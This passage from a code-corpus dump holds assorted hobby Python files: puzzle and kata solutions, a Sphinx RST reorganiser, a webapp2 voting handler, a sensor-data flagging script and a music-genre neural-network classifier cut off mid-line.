other'),\n]\n","sub_path":"store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"470559664","text":"#!/usr/bin/pypy3\n\nfrom advent import Advent\n\n\"\"\"\n\"\"\"\n\nclass Machine(object):\n def __init__(self):\n self.accumulator = 0\n self.instructions = []\n self.pointer = 0\n\n def step(self):\n \"\"\"execute one instruction\n return new pointer position, current accumulator, previous accumulator\n \"\"\"\n last = self.accumulator\n op, arg = self.instructions[self.pointer]\n if op == 'acc':\n self.accumulator += arg\n self.pointer += 1\n elif op == 'jmp':\n self.pointer += arg\n elif op == 'nop':\n self.pointer += 1\n else:\n raise Exception('unknown operator \"%s\"' % op)\n return self.pointer, self.accumulator, last\n\n def append(self, op, val):\n \"\"\"add instruction\"\"\"\n self.instructions.append((op, val))\n\n def reset(self):\n self.pointer = 0\n self.accumulator = 0\n\n def run_loopcheck(self):\n self.reset()\n seen = []\n while True:\n p, c, l = self.step()\n if p in seen:\n return l\n seen.append(p)\n\n def run_termination(self):\n try:\n self.run_loopcheck()\n except IndexError:\n if self.pointer == len(self.instructions):\n return True\n return False\n\n def clone(self):\n result = Machine()\n for op, val in self.instructions:\n result.append(op, val)\n return result\n\n\nclass Day(Advent):\n def prepare(self):\n result = Machine()\n for line in self.data.split('\\n'):\n line = line.strip()\n op, val = line.split(' ')\n val = int(val)\n result.append(op, val)\n self.data = result\n\n def solve1(self):\n return self.data.run_loopcheck()\n\n def solve2(self):\n pos = len(self.data.instructions)\n while True:\n machine = self.data.clone()\n # modify one jmp/nop, starting at the end ;)\n while True:\n pos -= 1\n op, val = machine.instructions[pos]\n if op == 'jmp':\n machine.instructions[pos] = ('nop', val)\n break\n elif op == 'nop':\n machine.instructions[pos] = ('jmp', val)\n break\n if machine.run_termination():\n return machine.accumulator\n\n\nDay.main()\n","sub_path":"2020/08.py","file_name":"08.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"203009150","text":"\"\"\"\nA palindromic number reads the same both ways. The largest palindrome made from the product of two 2-digit numbers is 9009 = 91 × 99.\n\nFind the largest palindrome made from the product of two 3-digit numbers.\n\"\"\"\n\ndef is_palindrome(num):\n num = str(num)\n front = 0\n end = len(num) - 1\n while front <= end:\n if num[front] != num[end]:\n return False\n front += 1\n end -= 1\n return True\n\n\ndef largest_palindrome(ceil, floor):\n i = ceil**2\n \n while i > floor**2:\n if is_palindrome(i):\n j = ceil\n while j >= floor:\n if i % j == 0 and i / j > floor and i / j < ceil:\n print(i/j, j)\n return i\n j -= 1\n i -= 1\n return \"no palindromes\"\n\nprint(largest_palindrome(99,10))\nprint(largest_palindrome(999,100))\n","sub_path":"04_largestpalindrome.py","file_name":"04_largestpalindrome.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"515428629","text":"\"\"\"\nSuccess\nDetails \nRuntime: 36 ms, faster than 99.38% of Python3 online submissions for Triangle.\nMemory Usage: 13.5 MB, less than 75.01% of Python3 online submissions for Triangle.\n\"\"\"\nclass Solution:\n def minimumTotal(self, triangle):\n \"\"\"\n :type triangle: List[List[int]]\n :rtype: int\n \"\"\"\n # bottom up \n dp = triangle[-1]\n\n for i in range(len(triangle)-2, -1, -1):\n for node in range(i+1):\n dp[node] = min(dp[node], dp[node+1]) + triangle[i][node]\n\n return dp[0]\n\n\n\ns = Solution()\ntri = [\n [2],\n [3,4],\n [6,5,7],\n [4,1,8,3]\n]\nprint(s.minimumTotal(tri))\n# print(s.minimumTotal(tri) == 11)\n\n","sub_path":"M_120_minimumTotal.py","file_name":"M_120_minimumTotal.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"223860351","text":"#!/usr/bin/env python3\n\nimport os\nimport shutil\n\n'''\n对图片进行自动处理。\n'''\n\nimport os\nimport sys\nimport shutil\nimport re\n\n\ndef check_if_fig(instr):\n '''\n 对条件进行判断\n '''\n\n if instr.startswith('.. image::'):\n # 直接引用的图片\n return True\n elif instr.startswith('.. figure::'):\n # 直接引用的图片\n return True\n elif instr.startswith('.. ') and ' image:: ' in instr:\n # 放到底部的图片\n return True\n\n return False\n\n\ndef fig_get_file_name(instr):\n tt = instr.strip().split()[-1]\n file_name = os.path.split(tt)[-1]\n zhui = os.path.splitext(file_name)[-1].lower()\n if zhui in ['.jpg', '.png', '.jpeg']:\n return file_name\n else:\n return None\n\n\ndef fig_get_file_path(inroot, wname):\n '''\n 根据给定的路径,得到文件的路径\n 找不到的話,就返回空字符串\n '''\n # print('x' * 20)\n # print(inroot)\n # print(wname)\n if wname.startswith('pa') or wname.startswith('ch'):\n # 对章节不处理\n return ''\n for wroot, wdirs, wfiles in os.walk(inroot):\n for wfile in wfiles:\n # 分别对两使用情况进行处理\n # 使用include的时候,可能不会包含.tex后缀\n #\n if wfile == wname:\n # print('y' * 10)\n outpath = os.path.join(wroot, wfile)\n # print(outpath)\n return outpath\n tt = os.path.splitext(wfile)[0]\n if tt == wname:\n # print('y' * 10)\n outpath = os.path.join(wroot, tt)\n # print(outpath)\n return outpath\n # print('not find')\n return 'occupy.png'\n\n\ndef clean_figs(inws):\n '''\n 对rst文件中的图片,程序等引用外部文件的进行处理\n '''\n for wroot, wdirs, wfiles in os.walk(inws):\n if '_build' in wroot:\n continue\n for wfile in wfiles:\n if wfile.endswith('.rst'):\n # print(wfile)\n cur_file = os.path.join(wroot, wfile)\n\n # 使用临时文件写入,防止出现问题\n tep_name = os.path.join(wroot, 'tmp_' + wfile)\n cnts = open(cur_file).readlines()\n fo = open(tep_name, 'w')\n for cnt in cnts:\n if check_if_fig(cnt) == True:\n img_name = fig_get_file_name(cnt)\n outpath = ''\n if img_name:\n outpath = fig_get_file_path(wroot, img_name)\n\n if outpath == '':\n pass\n else:\n # 根据当前路径处理\n outpath = '.' + outpath[len(wroot):]\n cnt = '{qian} {imgpath}\\n'.format(\n qian=' '.join(cnt.strip().split()[:-1]),\n imgpath=outpath)\n\n fo.write(cnt)\n fo.close()\n\n os.remove(cur_file)\n shutil.move(tep_name, cur_file)\n\n\n##############################################################################################################\n\ndef get_sec_rst(secws, outname):\n ffs = os.listdir(os.path.join(secws, outname))\n for ff in ffs:\n if ff.startswith('py') and ff.endswith('.rst'):\n return ff\n\ndef do_for_chapter(secws):\n '''\n '''\n sec_list = os.listdir(secws)\n sec_list = [x for x in sec_list if x.startswith('sec') and not x.endswith('_files') and (x[-3:] not in ['jpg', 'gif', 'png']) ]\n sec_list.sort()\n\n index = 1\n rst_new_list = []\n for sec_dir in sec_list:\n\n tt = re.split('[-_]', sec_dir)\n feaname = '-'.join(tt[1:])\n\n outname = 'sec{0}-{1}'.format(str(index).zfill(2), feaname)\n\n inpath = os.path.join(secws, sec_dir)\n\n outpath = os.path.join(secws, outname)\n shutil.move(inpath, outpath)\n\n # 对于 section, 要区分是否文件\n if os.path.isfile(inpath):\n if outname.endswith('.rst'):\n pass\n else:\n # 在进行 split 时,有可能忽略了后缀\n outname = outname + '.rst'\n rst_new_list.append(outname)\n else:\n ff = get_sec_rst(secws, outname)\n if ff:\n rst_new_list.append(os.path.join(outname, ff))\n else:\n rst_new_list.append(os.path.join(outname, 'section.rst'))\n\n index = index + 1\n\n idxfile = os.path.join(secws, 'chapter.rst')\n if os.path.exists(idxfile):\n pass\n else:\n with open(idxfile, 'w') as fo:\n fo.write('''Chapter\n==============================================\n\n''')\n sec_cnt = open(idxfile).readlines()\n\n with open(idxfile, 'w') as fo:\n for uu in sec_cnt:\n if '.. toctree::' in uu:\n break\n else:\n fo.write(uu)\n fo.write('''.. toctree::\\n :maxdepth: 2\\n\\n''')\n for x in rst_new_list:\n fo.write(' {0}\\n'.format(x))\n\n\ndef do_for_part(secws):\n sec_list = os.listdir(secws)\n sec_list.sort()\n\n index = 1\n rst_new_list = []\n for sec_dir in sec_list:\n if sec_dir.startswith('ch'):\n tt = re.split('[-_]', sec_dir)\n feaname = tt[1]\n\n outname = 'ch{0}-{1}'.format(str(index).zfill(2), feaname)\n index = index + 1\n rst_new_list.append(outname)\n inpath = os.path.join(secws, sec_dir)\n outpath = os.path.join(secws, outname)\n\n shutil.move(inpath, outpath)\n\n idxfile = os.path.join(secws, 'part.rst')\n if os.path.exists(idxfile):\n pass\n else:\n with open(idxfile, 'w') as fo:\n fo.write('''Part\n==============================================\n\n''')\n sec_cnt = open(idxfile).readlines()\n\n with open(idxfile, 'w') as fo:\n for uu in sec_cnt:\n if '.. toctree::' in uu:\n break\n else:\n fo.write(uu)\n fo.write('''.. toctree::\\n :maxdepth: 3\\n :numbered: 3\\n\\n''')\n for x in rst_new_list:\n fo.write(' {0}/chapter\\n'.format(x))\n\n\ndef do_for_book(secws):\n sec_list = os.listdir(secws)\n sec_list = [x for x in sec_list if x[:2] in ['ch', 'pt']]\n sec_list.sort()\n\n index = 1\n rst_new_list = []\n for sec_dir in sec_list:\n tt = re.split('[-_]', sec_dir)\n print(tt)\n feaname = tt[1]\n if sec_dir.startswith('ch'):\n outname = 'ch{0}-{1}'.format(str(index).zfill(2), feaname)\n else:\n # for `part`.\n outname = 'pt{0}-{1}'.format(str(index).zfill(2), feaname)\n\n inpath = os.path.join(secws, sec_dir)\n outpath = os.path.join(secws, outname)\n\n shutil.move(inpath, outpath)\n\n rst_new_list.append(outname)\n\n index = index + 1\n\n if os.path.exists(os.path.join(secws, 'index.rst')):\n pass\n else:\n return False\n sec_cnt = open(os.path.join(secws, 'index.rst')).readlines()\n\n print(rst_new_list)\n\n with open(os.path.join(secws, 'index.rst'), 'w') as fo:\n for uu in sec_cnt:\n if '.. toctree::' in uu:\n break\n else:\n fo.write(uu)\n\n\n if rst_new_list[0].startswith('ch'):\n fo.write('''.. toctree::\\n :maxdepth: 3\\n :numbered: 3\\n\\n''')\n else:\n fo.write('''.. toctree::\\n\\n''')\n\n for x in rst_new_list:\n if x.startswith('ch'):\n fo.write(' {0}/chapter\\n'.format(x))\n else:\n fo.write(' {0}/part\\n'.format(x))\n\n\ndef clean_book():\n '''\n do, one by one.\n '''\n\n for wroot, wdirs, wfiles in os.walk('./'):\n for wdir in wdirs:\n if wdir.startswith('sec'):\n inws = os.path.join(wroot, wdir)\n # do_for_section(inws)\n for wroot, wdirs, wfiles in os.walk('./'):\n for wdir in wdirs:\n if wdir.startswith('ch'):\n inws = os.path.join(wroot, wdir)\n do_for_chapter(inws)\n for wroot, wdirs, wfiles in os.walk('./'):\n for wdir in wdirs:\n if wdir.startswith('pt'):\n inws = os.path.join(wroot, wdir)\n do_for_part(inws)\n do_for_book(os.getcwd())\n\n\nif __name__ == '__main__':\n fuws = os.path.join(os.getcwd())\n clean_book()\n clean_figs(fuws)\n","sub_path":"bin/bk.clean_rst.py","file_name":"bk.clean_rst.py","file_ext":"py","file_size_in_byte":8568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"574266673","text":"import views, webapp2, models, time, json, stats_updater as stats\nfrom google.appengine.ext import ndb\n\n\n\nclass VoteHandler(views.Template):\n\tdef get(self):\n\t\tuser = self.user_check()\n\t\tvideo_one = ndb.Key(urlsafe = self.request.get('left_vid'))\n\t\tvideo_one_artist_key = ndb.Key(urlsafe = self.request.get('left_mus_id'))\n\t\tvideo_two = ndb.Key(urlsafe = self.request.get('right_vid'))\n\t\tvideo_two_artist_key = ndb.Key(urlsafe = self.request.get('right_mus_id'))\n\t\tif self.request.get('win') == '':\n\t\t\tmus_choice = None\n\t\t\tvoter_choice = None\n\t\telse:\n\t\t\tvoter_choice = ndb.Key(urlsafe = self.request.get('win'))\n\t\t\tif voter_choice == video_one:\n\t\t\t\tmus_choice = video_one_artist_key\n\t\t\telse:\n\t\t\t\tmus_choice = video_two_artist_key\n\t\t\t\t\n\t\tvote = models.voting.Voting.get_by_vote(user.key, [video_one, video_two])\n\t\tif vote == None:\n\t\t\tvote = models.voting.Voting(voter_acc_key = user.key,\n\t\t\t\t\t\t\t\t\t\tvoter_type = user.account_type,\n\t\t\t\t\t\t\t\t\t\tvideo_one = video_one,\n\t\t\t\t\t\t\t\t\t\tvideo_one_artist_key = video_one_artist_key,\n\t\t\t\t\t\t\t\t\t\tvideo_two = video_two,\n\t\t\t\t\t\t\t\t\t\tvideo_two_artist_key = video_two_artist_key,\n\t\t\t\t\t\t\t\t\t\tvoter_choice = voter_choice,\n\t\t\t\t\t\t\t\t\t\tvoter_choice_musician_key = mus_choice,\n\t\t\t\t\t\t\t\t\t\tvideo_set_check = [video_one, video_two],\n\t\t\t\t\t\t\t\t\t\tvoter_ip = self.request.remote_addr).put()\n\t\n\t\t\ttime.sleep(.5)\n\n\t\t\t#Update musician and video model counts\n\t\t\tstats.MusicianStats.update_wins(video_one_artist_key)\n\t\t\tstats.MusicianStats.update_wins(video_two_artist_key)\n\t\t\tstats.MusicianStats.update_total_matches(video_one_artist_key)\n\t\t\tstats.MusicianStats.update_total_matches(video_two_artist_key)\n\n\t\t\tstats.VideoStats.update_wins(video_one)\n\t\t\tstats.VideoStats.update_wins(video_two)\n\t\t\tstats.VideoStats.update_total_matches(video_one)\n\t\t\tstats.VideoStats.update_total_matches(video_two)\n\n\n\n\t\t\tself.redirect('/')\n\t\telse:\n\t\t\tself.response.out.write('Record Already Exists')\n\n\n\nclass LikeHandler(views.Template):\n\tdef post(self):\n\t\tuser = self.user_check()\n\t\tmusician_key = ndb.Key(urlsafe = self.request.get('mus_id'))\n\t\tvideo_key = ndb.Key(urlsafe = self.request.get('vid_id'))\n\t\tif self.existing(user.key, video_key):\n\t\t\tpass\n\t\telse:\n\t\t\tdata = models.likes.Likes(user_key = user.key,\n\t\t\t\t\t\t\t\t musician_key = musician_key,\n\t\t\t\t\t\t\t\t video_key = video_key).put()\n\n\t\t\ttime.sleep(.2)\n\n\t\t\t#update musician and video model counts for likes\n\t\t\tmusician_likes = stats.MusicianStats.update_likes(musician_key)\n\t\t\tmusician_wins = stats.MusicianStats.update_wins(musician_key)\n\t\t\tvideo_likes = stats.VideoStats.update_likes(video_key)\n\t\t\tvideo_wins = stats.VideoStats.update_wins(video_key)\n\n\t\t\ttime.sleep(.5)\n\n\t\t\tself.response.out.write(json.dumps({'musician_likes':musician_likes,\n\t\t\t\t\t\t\t\t\t\t\t\t'musician_wins': musician_wins,\n\t\t\t\t\t\t\t\t\t\t\t\t'video_likes':video_likes, \n\t\t\t\t\t\t\t\t\t\t\t\t'video_key':video_key.urlsafe(),\n\t\t\t\t\t\t\t\t\t\t\t\t'video_wins':video_wins}))\n\n\n\tdef existing(self, user_key, video_key):\n\t\ttest = models.likes.Likes.get_existing(user_key, video_key)\n\t\treturn test\n\n\napp = webapp2.WSGIApplication([\n \n ('/vote/likes.*', LikeHandler),\n ('/vote.*', VoteHandler)\n\n\n], debug=True)","sub_path":"vote_handler.py","file_name":"vote_handler.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"302500259","text":"#!/usr/bin/env python\n__author__ = \"Lukas Klein\"\n__copyright__ = \"Copyright 2021, The MUDCake Project\"\n__credits__ = \"Hauke Presig, Jack Drillisch, Jan Gruchott, Lukas Klein, Robert Fendrich, Thomas Zimmermann\"\n\n__license__ = \"\"\"MIT License\n\n Copyright (c) 2021 MUDCake Project\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\"\"\"\n\n__version__ = \"1.0.0\"\n__maintainer__ = \"Lukas Klein\"\n__email__ = \"mudcake@gmail.com\"\n__status__ = \"Development\"\n\nfrom DungeonPackage.AccessList import AccessList as AccessList\nfrom DatabaseHandler.DatabaseHandler import *\n\n\nclass DungeonData:\n def __init__(self, dungeon_id: str = None, dungeon_master_id: str = None, max_players: int = None, name: str = None,\n description: str = None,\n private: bool = False, access_list: AccessList = None):\n self.dungeon_id = dungeon_id\n self.dungeon_master_id = dungeon_master_id\n self.max_players = max_players\n self.name = name\n self.description = description\n self.private = private\n self.access_list = access_list\n\n\n\n def is_dungeon_master_in(self):\n raise NotImplementedError\n\n def add_room(self):\n raise NotImplementedError\n\n def add_item_to_room(self):\n raise NotImplementedError\n\n def add_npc_to_room(self):\n raise NotImplementedError\n\n def load_data(self, dungeon_id: str):\n db_handler = DatabaseHandler()\n database_dungeon_data_raw = db_handler.get_dungeon_data_by_dungeon_id(dungeon_id)\n database_dungeon_data = list(sum(database_dungeon_data_raw, ()))\n self.dungeon_id = database_dungeon_data[0]\n self.max_players = database_dungeon_data[5]\n self.name = database_dungeon_data[2]\n self.description = database_dungeon_data[3]\n self.private = bool(database_dungeon_data[4])\n self.dungeon_master_id = database_dungeon_data[1]\n return self\n\n return self\n\n def is_private(self):\n raise NotImplementedError\n\n def overwrite_dungeon_master_id(self):\n raise NotImplementedError\n\n","sub_path":"Backend/DungeonPackage/DungeonData.py","file_name":"DungeonData.py","file_ext":"py","file_size_in_byte":3384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"575761712","text":"\nfrom os.path import abspath\nimport yaml\nfrom helper.logging import logger\nFILE_CFG = './config/model_cfg.yaml'\n\n\ndef load_config(filename=None):\n\n if not filename:\n filename = FILE_CFG\n\n try:\n with open(filename, 'r') as f:\n cfg = yaml.safe_load(f.read())\n\n except Exception as err:\n err_text = 'Ошибка при загрузке config file:' + filename\n logger.exception(err_text)\n raise Exception(err_text, err)\n\n logger.info(f'Config file {filename} загружен')\n return cfg\n\n\nconfig = load_config()\n# pprint(config)\n\n\nPATH_RAW_DATA_TRAIN = config['PATH_RAW_TRAIN']\nPATH_RAW_DATA_TEST = config['PATH_RAW_TEST']\n\nPATH_DATASET = config['PATH_DATASET']\n\nFILE_DATASET_SEP = config['datasets']['sep']\n\ntrain_dict = config['datasets']['train']\nFILE_DATASET_RAW_TRAIN = train_dict['path']+train_dict['file_raw']\nFILE_DATASET_MODEL_TRAIN = train_dict['path']+train_dict['file_model']\n\ntest_dict = config['datasets']['test']\nFILE_DATASET_RAW_TEST = test_dict['path']+test_dict['file_raw']\nFILE_DATASET_MODEL_TEST = test_dict['path']+test_dict['file_model']\n\nPATH_MODEL = config['PATH_MODEL']\nFILE_MODEL = PATH_MODEL + config['FILE_MODEL']\nFILE_SCALER = PATH_MODEL + config['FILE_SCALER']\n\nFILE_MODEL_PREDICTION = abspath(config['datasets']['predict']['path'] + config['datasets']['predict']['file_predict'])\n\nMODEL_THRESHOLD = config['model_threshold']\n\n# Следует из исходных данных\nCHURNED_START_DATE = config['CHURNED_START_DATE']\nCHURNED_END_DATE = config['CHURNED_END_DATE']\n\nINTER_LIST = config['INTERLIST']\n\n# INTER_1 = (1, 7)\n# INTER_2 = (8, 14)\n# INTER_3 = (15, 21)\n# INTER_4 = (22, 28)\n# INTER_LIST = [INTER_1, INTER_2, INTER_3, INTER_4]","sub_path":"Churn_in_game/helper/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"276831856","text":"\"\"\"\nCreate a function that returns the sum of the two lowest positive numbers given an array of minimum 4 positive integers.\nNo floats or non-positive integers will be passed.\n\nFor example, when an array is passed like [19, 5, 42, 2, 77], the output should be 7.\n\n[10, 343445353, 3453445, 3453545353453] should return 3453455.\n\nhttps://www.codewars.com/kata/558fc85d8fd1938afb000014\n\n\"\"\"\n\nimport unittest\n\n# Solution #\n\n\ndef sum_two_smallest_numbers(numbers):\n numbers.sort()\n return numbers[0] + numbers[1]\n\n\n# Testing #\n\n\nclass MyTestCase(unittest.TestCase):\n def test(self):\n self.assertEqual(sum_two_smallest_numbers([25, 42, 12, 18, 22]), 30)\n self.assertEqual(sum_two_smallest_numbers([7, 15, 12, 18, 22]), 19)\n self.assertEqual(sum_two_smallest_numbers([5, 8, 12, 18, 22]), 13)\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"Solutions/7 Kyu/sumTheTwoSmallestNumbers.py","file_name":"sumTheTwoSmallestNumbers.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"650914126","text":"'''\n#test\nstr = 'abcd'\nlis = list(str)\nprint(len(str),str[0],lis)\ndef mySolution(s1,s2):\n still = True\n if(len(s1) != len(s2)):\n return False\n for i in range(len(s1)):\n found = False\n if(still == True):\n for j in range(len(s2)):\n if found == False and s1[i] == s2[j]:\n still = True\n found = True\n break\n else:\n still = False\n found = False\n if (j == len(s2) - 1 and still == False):\n return False\n return True\nprint(mySolution('abcdeg','cbdage'))\n'''\n\ndef anagramSolution1(s1,s2):\n alist = list(s2)\n\n pos1 = 0\n stillOK = True\n\n while pos1 < len(s1) and stillOK:\n pos2 = 0\n found = False\n while pos2 < len(alist) and not found:\n if s1[pos1] == s2[pos2]:\n found = True\n else:\n pos2 = pos2 + 1\n\n #if found:\n # alist[pos2] = None\n #else:\n if not found:\n stillOK = False\n\n pos1 = pos1 + 1\n\n return stillOK\n\n#print(anagramSolution1('adbzdfc','azdcfbd'))\n\ndef anagramSolution2(s1,s2):\n alist1 = list(s1)\n alist2 = list(s2)\n\n alist1.sort()\n alist2.sort()\n\n pos = 0\n matches = True\n\n while pos < len(s1) and matches:\n if alist1[pos] == alist2[pos]:\n pos = pos + 1\n else:\n matches = False\n\n return matches\n\n#print(anagramSolution2('adbZdfc','azdcfbd'))\n\n#空间换时间\ndef anagramSolution3(s1,s2):\n alist1 = [0] * 26\n alist2 = [0] * 26\n\n for i in range(len(s1)):\n pos = ord(s1[i]) - ord('a')\n alist1[pos] = alist1[pos] + 1\n\n for j in range(len(s2)):\n pos = ord(s2[j]) - ord('a')\n alist2[pos] = alist2[pos] + 1\n\n #return alist1,alist2\n\n\n stillOK = True\n n = 0\n #while n < 26 and stillOK:\n for n in range(26):\n if alist1[n] == alist2[n] and stillOK:\n #stillOK = True\n n = n + 1\n else:\n stillOK = False\n\n return stillOK\n\nprint(anagramSolution3('appeled','edpleap'))","sub_path":"interactivepython/listing_002(cheakoff).py","file_name":"listing_002(cheakoff).py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"529448497","text":"import os \nimport pandas as pd\nimport numpy as np\n\n\ndef flat_lining(input_col, interval):\n pd_series=pd.Series(input_col)\n output= []\n output= pd_series.groupby([pd_series, pd_series.diff().ne(0).cumsum()]).transform('size').ge(interval).astype(int)\n return output\n\ndef linear_interp(input_col, interval):\n pd_series= pd.Series(input_col)\n temp_list= [0]\n for i in range(len(pd_series)-1):\n k= pd_series.iloc[i+1]-pd_series.iloc[i]\n temp_list.append(k)\n temp_series= pd.Series(temp_list).values\n se= pd.Series(temp_series)\n output=[]\n output= se.groupby([se, se.diff().ne(0).cumsum()]).transform('size').ge(interval).astype(int)\n return output\n\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\nprint(dir_path)\n\ndf = pd.read_csv(os.path.join(dir_path,'ADRANOA11.csv'))\n\ncols = df.columns.tolist()\n\n#finding missing values\ndf['missing'] = df.apply(lambda x : ','.join(x[x.isnull()].index),axis=1)\n\n#keep total NaN values\ndf['total_NaN']=df.isnull().sum(axis=1)\n\n#if multiple values are missing flag = -9999 \ndf.loc[df['total_NaN']>1, 'flag'] = -9999\n\n#if mean is missing then flag=-9995\ndf.loc[(df['total_NaN']==1) & (df['missing']=='avg'), 'flag'] = -9995\n\n#if min is missing then flag=-9996\ndf.loc[(df['total_NaN']==1) & (df['missing']=='min'), 'flag'] = -9996\n\n#if max is missing then flag=-9997\ndf.loc[(df['total_NaN']==1) & (df['missing']=='max'), 'flag'] = -9997\n\n#if stdev is missing then flag=-9998\ndf.loc[(df['total_NaN']==1) & (df['missing']=='stdev') & (df['stdev'] > 0), 'flag'] = -9998\n\n# if stdev > mean then flag=-9990\ndf.loc[(pd.notnull(df['avg'])) & (pd.notnull(df['min'])) & (pd.notnull(df['max'])) & (pd.notnull(df['stdev'])) & (df['stdev']>df['avg']) & (df['avg'] <= 0) & (df['stdev'] <= 0), 'flag'] = -9990\n\n# if mean/average <= 0 then flag=0 as no \ndf.loc[df['avg'] <= 0, 'flag'] = 0\ndf.loc[df['avg'] <= 0, 'comment'] = 'avg < 0'\n# the contion for mean/average goes\ndf.loc[df['stdev'] <=0, 'flag'] = 0\ndf.loc[df['stdev'] <= 0, 'comment'] = 'stdev < 0'\n\n#make others 1\ndf['flag'] = df['flag'].fillna(value=1)\n\n# just changein flag and missing column order\n#cols.append('flag')\n#cols.append('missing')\n\n#df = df[cols]\n\n#convedrt type of ts column to timeStamp\ndf['ts'] = pd.to_datetime(df['ts'], format='%d/%m/%y %H:%M')\n\n# calculate time delta with previous row (type - timestamp)\ndf['delta'] = (df['ts']-df['ts'].shift()).fillna(0)\n\n# calculate time diff with previous row in minutes.\ndf['time_diff'] = df['delta'].apply(lambda x: x / np.timedelta64(1,'m')).astype('int64')\n\n#flag = -8888 if time_diff > 10\ndf.loc[(df['time_diff'] > 10) | (df['time_diff'] < 10), 'flag'] = -8888\n\n# for flat lining and linear interpolaton\n# please change the column name according to your requirement.\ndf['flat_lining'] = flat_lining(df['time_diff'], 3)\ndf['linear_interp'] = linear_interp(df['time_diff'], 3)\n\n#data-frame containing missing values\ndf_miss = df.loc[(df['total_NaN'] > 0)]\n\n#data-frame containing all values i.e. mean, min, max and stdev\ndf_no_miss = df.loc[(df['total_NaN'] == 0)]\n\n#delete temporary column\ndel df['total_NaN']\ndel df_miss['total_NaN']\ndel df_no_miss['total_NaN']\n\ndf.to_csv(os.path.join(dir_path,'pd_out-final.csv'), sep=',', encoding='utf-8', index=False)\ndf_miss.to_csv(os.path.join(dir_path,'pd_out_miss.csv'), sep=',', encoding='utf-8', index=False)\ndf_no_miss.to_csv(os.path.join(dir_path,'pd_out_no_miss.csv'), sep=',', encoding='utf-8', index=False)","sub_path":"test4.py","file_name":"test4.py","file_ext":"py","file_size_in_byte":3455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"215664370","text":"import pandas as pd\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import StratifiedShuffleSplit, train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.metrics import plot_roc_curve, roc_auc_score\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import (\n confusion_matrix,\n classification_report,\n precision_score,\n recall_score,\n f1_score,\n log_loss,\n mean_squared_error,\n accuracy_score,\n plot_confusion_matrix\n)\n\njoined_data = pd.read_csv(r'joined_data.csv', index_col=False)\njoined_data['new_genres'] = joined_data['new_genres'].str.strip()\n\nprint(joined_data.info())\n\nprint(joined_data['new_genres'].value_counts())\n\ngenres_master_list = ['rock', 'pop', 'hip hop', 'classical', 'country', 'alternative', 'jazz', 'edm', 'metal'] #'classical',\n\nequal_dist_df = pd.DataFrame(columns=joined_data.columns)\n\nfor genre in genres_master_list:\n rows_of_genre = joined_data.loc[joined_data['new_genres'] == genre].sample(4000)\n equal_dist_df = equal_dist_df.append(rows_of_genre)\n\nprint(equal_dist_df['new_genres'].value_counts())\n\nequal_dist_df = equal_dist_df.drop([\"id\", \"name\", \"release_date\", \"mode\", 'duration_ms'], axis = 1)\n\nY = equal_dist_df[equal_dist_df.columns[-1]]\nX = equal_dist_df.drop(columns=[equal_dist_df.columns[-1]])\n\nscaler = StandardScaler()\nscaler.fit(X.values)\n\nX_scaled = scaler.transform(X.values)\nX_scaled_df = pd.DataFrame(X_scaled, index=X.index, columns=X.columns)\n\nx_train, x_test, y_train, y_test = train_test_split(X_scaled_df, Y, test_size=.25)\n\nmax_depth = [1, 5, 10, 15]\n\n\n\n\n# Cross Validation\nparam_grid = {'hidden_layer_sizes': [(10, 30, 10), (100,), (150,)],\n 'solver': ['sgd', 'adam'],\n 'alpha': [0.0001, 0.05],\n 'max_iter': [200, 300],\n 'learning_rate': ['constant', 'adaptive']\n }\n\nnn = MLPClassifier()\n\nnn_grid_search_cv = GridSearchCV(nn, param_grid, cv=5,\n scoring=\"accuracy\",\n return_train_score=True,\n verbose=True,\n n_jobs=-1)\n\nnn_grid_search_cv.fit(x_train, y_train)\n\nprint(\"CV best params:\")\nprint(nn_grid_search_cv.best_params_)\nprint(\"CV best 